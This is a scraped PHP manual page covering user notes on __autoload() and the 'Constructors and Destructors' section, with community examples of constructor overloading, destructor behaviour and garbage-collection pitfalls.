php at kaiundina dot de 20-Sep-2005 08:42
The autoload-feature allows to add the behavior of static constructors (like in C#). Static constructors should be called on the first occurence of a class reference - typically a 'new' operator or a static call to a class's operation.

They can be used used to initialize complex static properties.

And here is an easy and save way how it can be done:

Content of MyClass.class.php5:
<?php

// demo class persisting of a static and a dynamic constructor
class MyClass
{

    // static constructor operation
    public static function _construct()
    {
        // just say hello
        echo '<div>static constructor</div>';
    }

    // default dynamic constructor operation
    public function __construct()
    {
        // just say hello
        echo '<div>dynamic constructor</div>';
    }

}

?>

Content of index.php5:
<?php

// declare handler for any unknown class request
function __autoload($aClassName)
{
    // load the class
    require_once ($aClassName . '.class.php5');

    // create a reference to the static constructor's operation
    $staticConstructorReference = array($aClassName, '_construct');

    // if the static constructor was declared properly...
    if (is_callable($staticConstructorReference))
    {
        // call the static constructor
        call_user_func($staticConstructorReference);
    }
}

// create an example object to see both constructors being executed
$article = new MyObject();

?>
scott at webscott dot com 04-May-2005 02:40
__autoload() seems to work when saving objects as session variables as well:

classLoader.php
<?php
function __autoload($className) {
  require_once("$className.php");
}
?>

testClass.php
<?php
class testClass {
  function __construct($propValue) {
    $this->prop1 = $propValue;
  }

  function showProp() {
    return $this->prop1;
  }
}
?>

page1.php
<?php
require_once('classLoader.php');
session_start();
$_SESSION['testObj'] = new testClass('foo');
echo '<a href="page2.php">Go to page 2</a>';
?>

page2.php
<?php
require_once('classLoader.php');
session_start();
echo $_SESSION['testObj']->showProp(); // displays foo
?>

Works with multiple session objects as well.  Tested on a Win2k/IIS machine.
trini0 02-Feb-2005 05:04
Be careful with using that eval() trick within __autoload().
If you use reflection in your code, the so called trick,
*can* provide ill side effects.
For example ->
$reflection = new reflectionClass('some_class');
if (FALSE === $reflection->isSubClassOf('another_class'))
{
    throw new Exception('Class "some_class" must extend base class "another_class"');
}

If the real class "another_class" doesnt exist at the time, or "some_class" doesn't extend "another_class", with the reflection test, the so called eval() trick, creates a dummy "another_class",
thereby making the reflection test useless...
petyo()architect . bg 30-Jan-2005 10:27
The following function may be useful if you want to simulate namespaces and autoloading behavior:

define ("CLASS_ROOT", '/classes/');
function __autoload ($className)
{
    require_once CLASS_ROOT.str_replace('_', '/', $className).'.class.php';
}

Then you will just have to use the folder structure and name the classes accordingly. If you want to have a class named Page, which will be in the pseudo namespace System.Web.UI, create a directory named System in /classes, then create Web, then UI, then name the class System_Web_UI_Page. Kind of long to type if you don't have autocomplete, but at least you will not have to manage the loading of all the classes' definitions.
thomas dot revell at uwe dot ac dot uk 27-Jan-2005 03:31
If you want to throw an exception if a class isn't defined yet, use class_exists ():

<?php
// See if the class is defined
if (!class_exists ($className, false)) {
    throw new Exception ("Class $className is not defined.");
}
?>

The second parameter indicates whether or not the __autoload () function should be called before checking for the class's existence.
nhartkamp at eljakim dot N0SP4M dot nl 11-Dec-2004 06:14
The following might provide a good work-around for throwing exceptions from the __autoload function when a file containing the correct class doesn't exists.

function __autoload ($class_name) {
  $file = 'system/objects/' . $class_name . '.inc.php';
  if (!file_exists ($file)) {
    return eval ("class $class_name {" .
                 "  function $class_name () {" .
                 "    throw new Exception ();" .
                 "  }" .
                 "}");
  }
  require_once ($file);
}

Cheers,
Nolan


Constructors and Destructors

Constructor

void __construct ([ mixed $args = "" [, $... ]] )

PHP 5 allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used.

Note: Parent constructors are not called implicitly if the child class defines a constructor. In order to run a parent constructor, a call to parent::__construct() within the child constructor is required. If the child does not define a constructor then it may be inherited from the parent class just like a normal class method (if it was not declared as private).

Example #1 using new unified constructors

<?php
class BaseClass {
   function __construct() {
       print "In BaseClass constructor\n";
   }
}

class SubClass extends BaseClass {
   function __construct() {
       parent::__construct();
       print "In SubClass constructor\n";
   }
}

class OtherSubClass extends BaseClass {
    // inherits BaseClass's constructor
}

// In BaseClass constructor
$obj = new BaseClass();

// In BaseClass constructor
// In SubClass constructor
$obj = new SubClass();

// In BaseClass constructor
$obj = new OtherSubClass();
?>

For backwards compatibility, if PHP 5 cannot find a __construct() function for a given class, and the class did not inherit one from a parent class, it will search for the old-style constructor function, by the name of the class. Effectively, it means that the only case that would have compatibility issues is if the class had a method named __construct() which was used for different semantics.

Unlike with other methods, PHP will not generate an E_STRICT level error message when __construct() is overridden with different parameters than the parent __construct() method has.

As of PHP 5.3.3, methods with the same name as the last element of a namespaced class name will no longer be treated as constructor. This change doesn't affect non-namespaced classes.

Example #2 Constructors in namespaced classes

<?php
namespace Foo;
class Bar {
    public function Bar() {
        // treated as constructor in PHP 5.3.0-5.3.2
        // treated as regular method as of PHP 5.3.3
    }
}
?>

Destructor

void __destruct ( void )

PHP 5 introduces a destructor concept similar to that of other object-oriented languages, such as C++. The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence.

Example #3 Destructor Example

<?php
class MyDestructableClass {
   function __construct() {
       print "In constructor\n";
       $this->name = "MyDestructableClass";
   }

   function __destruct() {
       print "Destroying " . $this->name . "\n";
   }
}

$obj = new MyDestructableClass();
?>

Like constructors, parent destructors will not be called implicitly by the engine. In order to run a parent destructor, one would have to explicitly call parent::__destruct() in the destructor body. Also like constructors, a child class may inherit the parent's destructor if it does not implement one itself.

The destructor will be called even if script execution is stopped using exit(). Calling exit() in a destructor will prevent the remaining shutdown routines from executing.

Note:

Destructors called during the script shutdown have HTTP headers already sent. The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache).

Note:

Attempting to throw an exception from a destructor (called in the time of script termination) causes a fatal error.

User Contributed Notes

mattsch at gmail dot com 25-Jun-2014 11:35
I would advise against the use of exceptions within __construct.  If you store the error code for an exception within a function of that class, you have no way of reading that error code to tell what type of exception it is because the object does not exist yet.

Checking the code cannot be accomplished if an exception is thrown in the construct:
<?php
class FooException extends Exception
{
}
class Foo {
    private $bar;
    private $baz;
    public function __construct($foo = null)
    {
        if ($foo === null) {
            throw new FooException('An error occured in construct', $this->errorConstruct());
        }
    }
    public function setBar()
    {
        $this->bar = 'baz';
    }
    public function setBaz()
    {
        $this->baz = 'foo';
    }
    final public function errorFooNotSet()
    {
        return 1;
    }
}

try {
    $foo = new Foo();
    $foo->setBar();
    $foo->setBaz();
} catch (FooException $e) {
    // This will error because the object doesn't exist yet
    if ($e->getCode() == $foo->errorFooNotSet()) {
        echo 'foo is not set';
    }
}
?>

Checking the code can be accomplished if an exception is not thrown in the construct:
<?php
class FooException extends Exception
{
}
class Foo {
    private $bar;
    private $baz;
    public function __construct($foo = null)
    {
    }
    public function init()
    {
        if ($foo === null) {
            throw new FooException('An error occured in construct', $this->errorConstruct());
        }
    }
    public function setBar()
    {
        $this->init();
        $this->bar = 'baz';
    }
    public function setBaz()
    {
        $this->init();
        $this->baz = 'foo';
    }
    final public function errorFooNotSet()
    {
        return 1;
    }
}

try {
    $foo = new Foo();
    $foo->setBar();
    $foo->setBaz();
} catch (FooException $e) {
    // This will work because the object does exist
    if ($e->getCode() == $foo->errorFooNotSet()) {
        echo 'foo is not set';
    }
}
?>
kayvin86 at live dot com 07-May-2014 02:16
putting in more layman's term

class dad{

    function __construct() {
        echo get_class($this) . ' is fair and tall <br>';
    }
}

//inherit and overidding parent constructor
class son extends dad{

    function __construct(){
        parent::__construct();
        echo get_class($this) . ' is handsome <br>';
    }
}

//overidding parent constructor
class daughter extends dad{
    function __construct(){
        echo get_class($this) . ' is tan like her mother <br>';
        echo get_class($this) . ' is pretty and has nothing to do with dad <br>';
    }
}

echo 'im dad: <br>';
$dad = new dad();

echo '<br>';

echo 'born a son: <br>';
$son = new son();

echo '<br>';

echo 'born a daughter: <br>';
$daughter = new daughter();

/*output
im dad:
dad is fair and tall

born a son:
son is fair and tall (notice that when parent:: is call inside son, son will be the class inside dad's contructor)
son is handsome

born a daughter:
daughter is tan like her mother
daughter is pretty and has nothing to do with dad
 */
Anonymous 23-Dec-2013 10:45
By inheriting from this class, you can do constructor overloading in terms of type hinting.
<?php
   abstract class OverloadedConstructors {
      public final function __construct() {
         $self = new ReflectionClass($this);
         $constructors = array_filter($self->getMethods(ReflectionMethod::IS_PUBLIC), function(ReflectionMethod $m) {
            return substr($m->name, 0, 11) === '__construct';
         });
         if(sizeof($constructors) === 0)
            trigger_error('The class ' . get_called_class() . ' does not provide a valid constructor.', E_USER_ERROR);
         $number = func_num_args();
         $arguments = func_get_args();
         foreach($constructors as $constructor) {
            if(($number >= $constructor->getNumberOfRequiredParameters()) &&
               ($number <= $constructor->getNumberOfParameters())) {
               $parameters = $constructor->getParameters();
               reset($parameters);
               foreach($arguments as $arg) {
                  $parameter = current($parameters);
                  if($parameter->isArray()) {
                     if(!is_array($arg))
                        continue 2;
                  }elseif(($expectedClass = $parameter->getClass()) !== null) {
                     if(!(is_object($arg) && $expectedClass->isInstance($arg)))
                        continue 2;
                  }
                  next($parameters);
               }
               $constructor->invokeArgs($this, $arguments);
               return;
            }
         }
         trigger_error('The required constructor for the class ' . get_called_class() . ' did not exist.', E_USER_ERROR);
      }
   }
?>
Simply define a class like this:
<?php
   class Test extends OverloadedConstructors {
      public function __construct1(array $arg) {
         die('First construct');
      }

      public function __construct2(stdClass $test) {
         die('Second construct');
      }

      public function __construct3($optional = null) {
         die('Third construct');
      }
   }
?>
You can define as much constructors as you wish and limit them by php's type hinting. Note that the constructor signatures should be non-ambiguous.
kitchin 04-Oct-2013 07:36
If your code has a redundant constructor for PHP 4 compatibility, an E_STRICT error may be raised in PHP 5.x:

Strict Standards:  Redefining already defined constructor for class...

What is a redundant constructor for PHP 4 compatibility? It looks like
<?php
Class Foo {
  function Foo() {
    return $this->__construct();
  }
  function __construct() {
    // whatever
  }
?>

If you don't need PHP 4, just delete the Foo function. Or you reverse the order of Foo and __construct, the error goes away, so that's probably OK for a single class. Also there was a suggestion to do this in Foo:
<?php
  function Foo() {
    if (version_compare(PHP_VERSION,"5.0.0","<")) {
      return $this->__construct();
    }
  }
?>
Yousef Ismaeil cliprz[At]gmail[Dot]com 23-Aug-2013 06:06
<?php

/**
 * a funny example Mobile class
 *
 * @author Yousef Ismaeil Cliprz[At]gmail[Dot]com
 */

class Mobile {

    /**
     * Some device properties
     *
     * @var string
     * @access public
     */
    public $deviceName,$deviceVersion,$deviceColor;

    /**
     * Set some values for Mobile::properties
     *
     * @param string device name
     * @param string device version
     * @param string device color
     */
    public function __construct ($name,$version,$color) {
        $this->deviceName = $name;
        $this->deviceVersion = $version;
        $this->deviceColor = $color;
        echo "The ".__CLASS__." class is stratup.<br /><br />";
    }

    /**
     * Some Output
     *
     * @access public
     */
    public function printOut () {
        echo 'I have a '.$this->deviceName
            .' version '.$this->deviceVersion
            .' my device color is : '.$this->deviceColor;
    }

    /**
     * Umm only for example we will remove Mobile::$deviceName Hum not unset only to check how __destruct working
     *
     * @access public
     */
    public function __destruct () {
        $this->deviceName = 'Removed';
        echo '<br /><br />Dumpping Mobile::deviceName to make sure its removed, Olay :';
        var_dump($this->deviceName);
        echo "<br />The ".__CLASS__." class is shutdown.";
    }

}

// Oh ya instance
$mob = new Mobile('iPhone','5','Black');

// print output
$mob->printOut();

?>

The Mobile class is stratup.

I have a iPhone version 5 my device color is : Black

Dumpping Mobile::deviceName to make sure its removed, Olay :
string 'Removed' (length=7)

The Mobile class is shutdown.
Per Persson 09-May-2012 10:57
As of PHP 5.3.10 destructors are not run on shutdown caused by fatal errors.

For example:
<?php
class Logger
{
    protected $rows = array();

    public function __destruct()
    {
        $this->save();
    }

    public function log($row)
    {
        $this->rows[] = $row;
    }

    public function save()
    {
        echo '<ul>';
        foreach ($this->rows as $row)
        {
            echo '<li>', $row, '</li>';
        }
        echo '</ul>';
    }
}

$logger = new Logger;
$logger->log('Before');

$nonset->foo();

$logger->log('After');
?>

Without the $nonset->foo(); line, Before and After will both be printed, but with the line neither will be printed.

One can however register the destructor or another method as a shutdown function:
<?php
class Logger
{
    protected $rows = array();

    public function __construct()
    {
        register_shutdown_function(array($this, '__destruct'));
    }

    public function __destruct()
    {
        $this->save();
    }

    public function log($row)
    {
        $this->rows[] = $row;
    }

    public function save()
    {
        echo '<ul>';
        foreach ($this->rows as $row)
        {
            echo '<li>', $row, '</li>';
        }
        echo '</ul>';
    }
}

$logger = new Logger;
$logger->log('Before');

$nonset->foo();

$logger->log('After');
?>
Now Before will be printed, but not After, so you can see that a shutdown occurred after Before.
philipwaynerollins at gmail dot com 22-Dec-2011 05:51
With the destructor if you're going to write to a file make sure you have the full file path and not just the filename, it seems PHP switches the working directory to the apache root directory when exiting the script.
david dot scourfield at llynfi dot co dot uk 12-Aug-2011 01:17
Be aware of potential memory leaks caused by circular references within objects.  The PHP manual states "[t]he destructor method will be called as soon as all references to a particular object are removed" and this is precisely true: if two objects reference each other (or even if one object has a field that points to itself as in $this->foo = $this) then this reference will prevent the destructor being called even when there are no other references to the object at all.  The programmer can no longer access the objects, but they still stay in memory.

Consider the following example:

<?php

header("Content-type: text/plain");

class Foo {

    /**
     * An indentifier
     * @var string
     */
    private $name;
    /**
     * A reference to another Foo object
     * @var Foo
     */
    private $link;

    public function __construct($name) {
        $this->name = $name;
    }

    public function setLink(Foo $link){
        $this->link = $link;
    }

    public function __destruct() {
        echo 'Destroying: ', $this->name, PHP_EOL;
    }
}

// create two Foo objects:
$foo = new Foo('Foo 1');
$bar = new Foo('Foo 2');

// make them point to each other
$foo->setLink($bar);
$bar->setLink($foo);

// destroy the global references to them
$foo = null;
$bar = null;

// we now have no way to access Foo 1 or Foo 2, so they OUGHT to be __destruct()ed
// but they are not, so we get a memory leak as they are still in memory.
//
// Uncomment the next line to see the difference when explicitly calling the GC:
// gc_collect_cycles();
//
// see also: http://www.php.net/manual/en/features.gc.php
//

// create two more Foo objects, but DO NOT set their internal Foo references
// so nothing except the vars $foo and $bar point to them:
$foo = new Foo('Foo 3');
$bar = new Foo('Foo 4');

// destroy the global references to them
$foo = null;
$bar = null;

// we now have no way to access Foo 3 or Foo 4 and as there are no more references
// to them anywhere, their __destruct() methods are automatically called here,
// BEFORE the next line is executed:

echo 'End of script', PHP_EOL;

?>

This will output:

Destroying: Foo 3
Destroying: Foo 4
End of script
Destroying: Foo 1
Destroying: Foo 2

But if we uncomment the gc_collect_cycles(); function call in the middle of the script, we get:

Destroying: Foo 2
Destroying: Foo 1
Destroying: Foo 3
Destroying: Foo 4
End of script

As may be desired.

NOTE: calling gc_collect_cycles() does have a speed overhead, so only use it if you feel you need to.
boukeversteeg at gmail dot com 11-Apr-2011 04:12
Php 5.3.3 had a very strange bug, related to __destruct, but this bug was fixed in 5.3.6. This bug happened to me and it took me forever to figure it out, so I wanted to share it.

In short, don't unset properties in __destruct():
<?php
class Foobar {
    public $baz;
    function __destruct() {
        # Don't do either of these, if $baz also has a __destruct()!
        $this->baz = null;
        unset($this->baz);

        # Instead, don't clear it at all, or do this:
        $this->baz->__destruct();
    }
}
?>

If you made this mistake, this might happen in php<5.3.6:
<?php
# Some function that throws an exception
function fail($foobar) {
    throw new Exception("Exception A!");
}

$foobar = new Foobar();
$foobar->baz = new Foobar();

try {
    fail($foobar); // Send foobar to func that throws an Exception
} catch( Exception $e ) {
    print $e->getMessage(); // Exception A will be caught and printed, as expected.
}

$foobar = null; // clearing foobar, and its property $baz

try {
    print 'Exception B:';// this will be printed
    // output stops here.
    throw new Exception("Exception B!");
} catch( Exception $e ) {
    print $e->getMessage(); // doesn't happen
}
print 'End'; // this won't be printed
?>
phenixdoc at gmail dot com 12-Mar-2011 01:26
multiple constructors with type signetures (almost overloading):

<?php
public function __construct() {
        $args = func_get_args();
        $argsStr = '';
        foreach ($args as $arg) {
            $argsStr .= '_' . gettype($arg);
        }
        if (method_exists($this, $constructor = '__construct' . $argsStr))
            call_user_func_array(array($this, $constructor), $args);
        else
            throw new Exception('NO CONSTRUCTOR: ' . get_class() . $constructor, NULL, NULL);
    }

public function __construct_integer($a) {}
public function __construct_string($a) {}
public function __construct_integer_string($a, $b) {}
public function __construct_string_integer($a, $b) {}
?>
gratcypalma at gmail dot com 19-Nov-2010 08:46
here is my multiple constructor.

<?php
class foo {
    protected $mam = 'mamam';
    function __construct() {
        echo 'foo';
    }
}
class bar extends foo {
    function __construct() {
        parent:: __construct(); // use parent method to call parent class
        echo 'bar';
    }
}
class foobar extends bar {
    function __construct() {
        parent:: __construct();
        echo 'foobar';
    }
}
$show = new foobar();

/* result is foobarfoobar */
?>
rayro at gmx dot de 14-Sep-2010 12:35
the easiest way to use and understand multiple constructors:

<?php
class A
{
    function __construct()
    {
        $a = func_get_args();
        $i = func_num_args();
        if (method_exists($this,$f='__construct'.$i)) {
            call_user_func_array(array($this,$f),$a);
        }
    }

    function __construct1($a1)
    {
        echo('__construct with 1 param called: '.$a1.PHP_EOL);
    }

    function __construct2($a1,$a2)
    {
        echo('__construct with 2 params called: '.$a1.','.$a2.PHP_EOL);
    }

    function __construct3($a1,$a2,$a3)
    {
        echo('__construct with 3 params called: '.$a1.','.$a2.','.$a3.PHP_EOL);
    }
}
$o = new A('sheep');
$o = new A('sheep','cat');
$o = new A('sheep','cat','dog');

// results:
// __construct with 1 param called: sheep
// __construct with 2 params called: sheep,cat
// __construct with 3 params called: sheep,cat,dog
?>
maramirezc WHERE star-dev DOTTED com 21-Jul-2010 11:14
Another way to emulate multiple constructors:

<?php
class MyClass {

   // use a unique id for each derived constructor,
   // and use a null reference to an array,
   // for optional parameters
   function __construct($id="", $args=null) {
       // parent constructor called first ALWAYS
       parent::__construct();

       echo "main constructor\n";

      // avoid null or other types
      $id = (string) $id;

      // allow default constructor
      if ($id == "") {
         $id = "default";
      }

      // just in case, use lowercase id
      $id = "__cons_" .  strtolower($id);

      $rc = new ReflectionClass("MyClass");

      if (!$rc->hasMethod($id) {
         echo "constructor $id not defined\n";
      }
      else {
        // using "method references"
        $this->$id($args);
      }

       $rc = null;
   } // function __construct

   // ALWAYS HAVE A default constructor,
   // that ignores arguments
   function __cons_default($args=null) {
       echo "Default constructor\n";
   }

   // may have other constructors that expect different
   // argument types or argument count
   function __cons_min($args=null) {
     if (! is_array($args) || count($args) != 2) {
       echo "Error: Not enough parameters (Constructor min(int $a, int $b)) !!!\n";
     }
     else {
         $a = (int) $args[0];
         $b = (int) $args[1];
         $c = min($a,$b);
         echo "Constructor min(): Result = $c\n";
     }
   }

   // may use string index (associative array),
   // instead of integer index (standard array)
   function __cons_fullname($args=null) {
     if (! is_array($args) || count($args) < 2) {
       echo "Error: Not enough parameters (Constructor fullname(string $firstname, string $lastname)) !!!\n";
     }
     else {
         $a = (string) $args["firstname"];
         $b = (string) $args["lastname"];
         $c = $a . " " . $b;
         echo "Constructor fullname(): Result = $c\n";
     }
   }

} // class

// --> these two lines are the equivalent
$obj1 = new TestClass();
$obj2 = new TestClass("default");

// --> these two are specialized

// should be read as "$obj3 = new TestClass, min(99.7, 99.83);"
$obj3 = new TestClass("min", array(99.7, 99.83));

// should be read as "$obj4 = new TestClass, fullname("John", "Doe");"
$obj4 = new TestClass("fullname", array("firstname" => "John", "lastname" => "Doe"));

// --> these  two lack parameters
$obj5 = new TestClass("min", array());
$obj6 = new TestClass("fullname");

?>
alon dot peer at gmail dot com 20-Jun-2010 11:39
Another way to overcome PHP's lack of multi constructors support is to check for the constructor's parameters' type and variate the operation accordingly. This works well when the number of parameters stays the same in all your constructors' needs.

Example:

<?php

class Articles {

    private $_articles_array;

    public function __construct($input) {
        if (is_array($input)) {
            // Initialize articles array with input.
        }
        else if ($input instanceof SimpleXMLElement) {
            // Initialize articles array by parsing the XML.
        }
        else {
            throw new Exception('Wrong input type');
        }
    }

}

?>
thomasrutter 27-Feb-2010 12:20
The manual page says that throwing an exception from a destructor causes a fatal error;  I've found that this only happens when the exception is _uncaught_ within the context of that destructor.  If you catch it within that same destructor it seems to be fine.

This is equally true of other contexts, such as:
- shutdown functions set with register_shutdown_function
- destructors
- custom session close functions
- custom error handlers
- perhaps other similar contexts

An exception normally 'bubbles up' to higher and higher contexts until it is caught, but because a destructor or shutdown function is called not within execution flow but in response to a special PHP event, the exception is unable to be traced back any further than the destructor or shutdown function in which it is called.
Jonathon Hibbard 10-Jan-2010 01:32
Please be aware of when using __destruct() in which you are unsetting variables...

Consider the following code:
<?php
class my_class {
  public $error_reporting = false;

  function __construct($error_reporting = false) {
    $this->error_reporting = $error_reporting;
  }

  function __destruct() {
    if($this->error_reporting === true) $this->show_report();
    unset($this->error_reporting);
  }
?>

The above will result in an error:
Notice: Undefined property: my_class::$error_reporting in my_class.php on line 10

It appears as though the variable will be unset BEFORE it actually can execute the if statement.  Removing the unset will fix this.  It's not needed anyways as PHP will release everything anyways, but just in case you run across this, you know why ;)
ruggie0 at yahoo dot com 11-Oct-2009 01:13
For those who still ***have*** to deal with php4 (like myself, which sucks), contact at tcknetwork dot com noted below that you can have both __constructor and function [classname] in the script, as __constructor has priority.

However, to further improve compatability, do a version check in function [classname], as I do in my classes as follows:
<?php
   class Foo{
      function __construct($arg){
         echo $arg;
      }

      function Foo($arg){
         if(version_compare(PHP_VERSION,"5.0.0","<")){
            $this->__construct($arg);
            register_shutdown_function(array($this,"__destruct"));
         }
      }

      function __destruct(){
         echo "Ack! I'm being destroyed!";
      }
   }
?>

This makes it much easier to use your script with fewer compatibility issues.
enrico dot modanese at alpj dot com 23-Aug-2009 04:05
It's usefull to note that parent::__construct() is executed like a standalone function called into the new one, and not like a first part of the code. So "return" or "die()" don't have effect on following code. If you want to avoid the execution of the child constructor you have to pass some condition from the parent. Example:

<?php
class X {
  function X(){
    if($_POST['break']=='yes'){return;}
    }
  }

class Y extends X{
  function Y(){
    parent::__construct();
    print("Y_constructor_finished");
    }
  }

$_POST['break']=='yes';
$new_Y=new Y();  // will print "Y_constructor_finished"

Solution:

class X {
  function X(){
    if($_POST['break']=='yes'){$this->break='yes';return;}
    }
  }

class Y extends X{
  function Y(){
    parent::__construct();
    if($this->break=='yes'){return;}
    print("Y_constructor_finished");
    }
  }

$_POST['break']='yes';
$new_Y=new Y();  // will print nothing
?>
ramesh dot rips at gmail dot com 26-Jun-2009 03:49
Without __constructor constructor will call like this.
Why because, Here Class name and function name are equal.
<?php
class baseclass
{
  function baseclass()
  {
    echo "constructor is called"."<br>" ;
   }
 }
 class deriviedclass extends baseclass
 {
   function deriviedclass()
   {
       parent::baseclass();
     }
  }

 $object_base=new baseclass();
 $object_derive=new deriviedclass();
?>
Out put is
constructor is called
constructor is called
hyponiq at gmail dot com 21-May-2009 03:43
I just thought I'd share some valuable information that might help novice programmers/scripters in __constructor() functions.

I've been using PHP for quite a long time, as well as programming and scripting in general.  Even with my quite seasoned skillset, I still make obvious, painstaking mistakes.  That said, I'd like to point out one major (albeit obvious) common mistake that programmers and scripters (such as myself) make.

When defining the constructor for an object and using it to populate variables for use throughout the lifetime of the application, do note that if you set a static variable AFTER a dynamic one, the static variable's (intended) contents are not readible inside the assigning functions of a dynamic variable.  (That sounded rather cryptic, so an example is in order...)

<?php
class ExampleClass
{
    // assigned a static value using an expression in the constructor
    public $myStaticVar;

    // assigned a value through a function of the class
    public $myDynamicVar;

    public function __construct($myStaticVarValue)
    {
        // sets to nothing; $this->myStaticVar hasn't been assigned to yet
        $this->myDynamicVar = $this->setSomeValue();

        // sets to 'Static Variable Value in this example
        $this->myStaticVar = $myStaticVarValue;
    }

    public function setSomeValue()
    {
        // returns null; $this->myStaticVar hasn't been assigned to, yet
        return $this->myStaticVar;
    }
}

// automatically sets $object->myStaticVar to 'Static Variable Value'
//(but only after setting $object->myDynamicVar to the unassigned $object->myStaticVar)
$object = new ExampleClass('Static Variable Value');

// outputs nothing
print $object->myDynamicVar;
?>

The above example won't print anything because you're setting the $myDynamicVar to equal the $myStaticVar, but the $myStaticVar hasn't been (technically) assigned to, yet.

So, if you wish to reference that variable inside the assignment function of a dynamic variable, you have to declare it first and foremost.  Otherwise, its value will not be accessible yet.

The correct way...
<?php
class ExampleClass
{
    // assigned a static value using an expression in the constructor
    public $myStaticVar;

    // assigned a value through a function of the class
    public $myDynamicVar;

    public function __construct($myStaticVarValue)
    {
        // sets to $myStaticVariable (or 'Some Static Variable Value' in this example)
        $this->myStaticVar = $myStaticVarValue;

        // sets to newly assigned-to $this->myStaticVariable
        $this->myDynamicVar = $this->setSomeValue();
    }

    public function setSomeValue()
    {
        // returns 'Static Variable Value'
        return $this->myStaticVar;
    }
}

// sets $object->myStaticVar to 'Static Variable Value' automatically before $object->myDynamicVar
$object = new ExampleClass('Static Variable Value');

// outputs 'Static Variable Value'
print $object->myDynamicVar;
?>
ceo at l-i-e dot com 07-May-2009 07:38
As far as I can tell, Connection: close isn't sent until after __destruct is called in shutdown sequence.
I was hoping to get the HTTP connection closed and done, and do some slow non-output processing after that, but no luck.
bac2day1 at gmail dot com 29-Jan-2009 07:26
You can also capitalize on singleton for the connection as well.
Just add the following to your class:

<?php
class db {
  //...
  private static $instance;
  //...
  public static function singleton() {
    if(!isset(self::$instance)) {
      $c = __CLASS__;
      self::$instance = new $c();
    }
    return self::$instance;
  }
  //...
}
?>
spleen 18-Oct-2008 01:35
It's always the easy things that get you -

Being new to OOP, it took me quite a while to figure out that there are TWO underscores in front of the word __construct.

It is __construct
Not _construct

Extremely obvious once you figure it out, but it can be sooo frustrating until you do.

I spent quite a bit of needless time debugging working code.

I even thought about it a few times, thinking it looked a little long in the examples, but at the time that just seemed silly(always thinking "oh somebody would have made that clear if it weren't just a regular underscore...")

All the manuals I looked at, all the tuturials I read, all the examples I browsed through  - not once did anybody mention this!

(please don't tell me it's explained somewhere on this page and I just missed it,  you'll only add to my pain.)

I hope this helps somebody else!
office at kitsoftware dot ro 14-Oct-2008 04:01
Should be noted that according to the NEWS (in PHP 5.3) file, in PHP 5.3, handling an exception in the __destructor should not output a FATAL error ...
Jeffrey 09-Oct-2008 11:04
Constructor Simplicity

If your class DOES CONTAIN instance members (variables) that need to be set, then your class needs to be initialized... and you should use __construct() to do that.

<?php
class MyClassA {
  public $data1, $data2;

  public function __construct($mcd1, $mcd2) {
    $this->data1 = $mcd1;  // INITIALIZE $data1
    $this->data2 = $mcd2;  // INITIALIZE $data2
  }
}

$obj1 = new MyClassA("Hello", "World!");  // INSTANTIATE MyClassA
$d1 = $obj1->data1;
$d2 = $obj1->data2;
?>

If your class DOES NOT CONTAIN instance members or you DO NOT want to instantiate it, then there is no reason to initialize it or use __construct().

<?php
class MyClassB {
  const DATA1 = "Hello";
  public static $data2 = "World!";
}

$obj1 = new MyClassB();  // INSTANTIATE MyClassB - NO error.
$d1 = $obj1::DATA1;      // ERROR
$d2 = $obj1::data2;      // ERROR
$d1 = MyClassB::DATA1;   // ok
$d2 = MyClassB::$data2;  // ok
?>

The fact that $obj1 is useless and cannot be used as a reference, is further evidence that MyClassB objects should not be instantiated. NOTICE that MyClassB does not use private members or functions to make it behave that way. Rather, it is the collective nature of all the class members + what ISN'T there.
Anonymous 10-Sep-2008 02:42
USE PARENT::CONSTRUCT() to exploit POLYMORPHISM POWERS

Since we are still in the __construct and __destruct section, alot of emphasis has been on __destruct - which I know nothing about. But I would like to show the power of parent::__construct for use with PHP's OOP polymorphic behavior (you'll see what this is very quickly).

In my example, I have created a fairly robust base class that does everything that all subclasses need to do. Here's the base class def.

<?php

/*
 * Animal.php
 *
 * This class holds all data, and defines all functions that all
 * subclass extensions need to use.
 *
 */
abstract class Animal
{
  public $type;
  public $name;
  public $sound;

  /*
   * called by Dog, Cat, Bird, etc.
   */
  public function __construct($aType, $aName, $aSound)
  {
    $this->type = $aType;
    $this->name = $aName;
    $this->sound = $aSound;
  }

  /*
   * define the sorting rules - we will sort all Animals by name.
   */
  public static function compare($a, $b)
  {
    if($a->name < $b->name) return -1;
    else if($a->name == $b->name) return 0;
    else return 1;
  }

  /*
   * a String representation for all Animals.
   */
  public function __toString()
  {
    return "$this->name the $this->type goes $this->sound";
  }
}

?>

Trying to instantiate an object of type Animal will not work...

$myPet = new Animal("Parrot", "Captain Jack", "Kaaawww!"); // throws Fatal Error: cannot instantiate abstract class Animal.

Declaring Animal as abstract is like killing two birds with one stone. 1. We stop it from being instantiated - which means we do not need a private __construct() or a static getInstance() method, and 2. We can use it for polymorphic behavior. In our case here, that means "__construct", "__toString" and "compare" will be called for all subclasses of Animal that have not defined their own implementations.

The following subclasses use parent::__construct(), which sends all new data to Animal. Our Animal class stores this data and defines functions for polymorphism to work... and the best part is, it keeps our subclass defs super short and even sweeter.

<?php

class Dog extends Animal{
  public function __construct($name){
    parent::__construct("Dog", $name, "woof!");
  }
}

class Cat extends Animal{
  public function __construct($name){
    parent::__construct("Cat", $name, "meeoow!");
  }
}

class Bird extends Animal{
  public function __construct($name){
    parent::__construct("Bird", $name, "chirp chirp!!");
  }
}

# create a PHP Array and initialize it with Animal objects
$animals = array(
  new Dog("Fido"),
  new Bird("Celeste"),
  new Cat("Pussy"),
  new Dog("Brad"),
  new Bird("Kiki"),
  new Cat("Abraham"),
  new Dog("Jawbone")
);

# sort $animals with PHP's usort - calls Animal::compare() many many times.
usort($animals, array("Animal", "compare"));

# print out the sorted results - calls Animal->__toString().
foreach($animals as $animal) echo "$animal<br>\n";

?>

The results are "sorted by name" and "printed" by the Animal class:

Abraham the Cat goes meeoow!
Brad the Dog goes woof!
Celeste the Bird goes chirp chirp!!
Fido the Dog goes woof!
Jawbone the Dog goes woof!
Kiki the Bird goes chirp chirp!!
Pussy the Cat goes meeoow!

Using parent::__construct() in a subclass and a super smart base class, gives your child objects a headstart in life, by alleviating them from having to define or handle several error and exception routines that they have no control over.

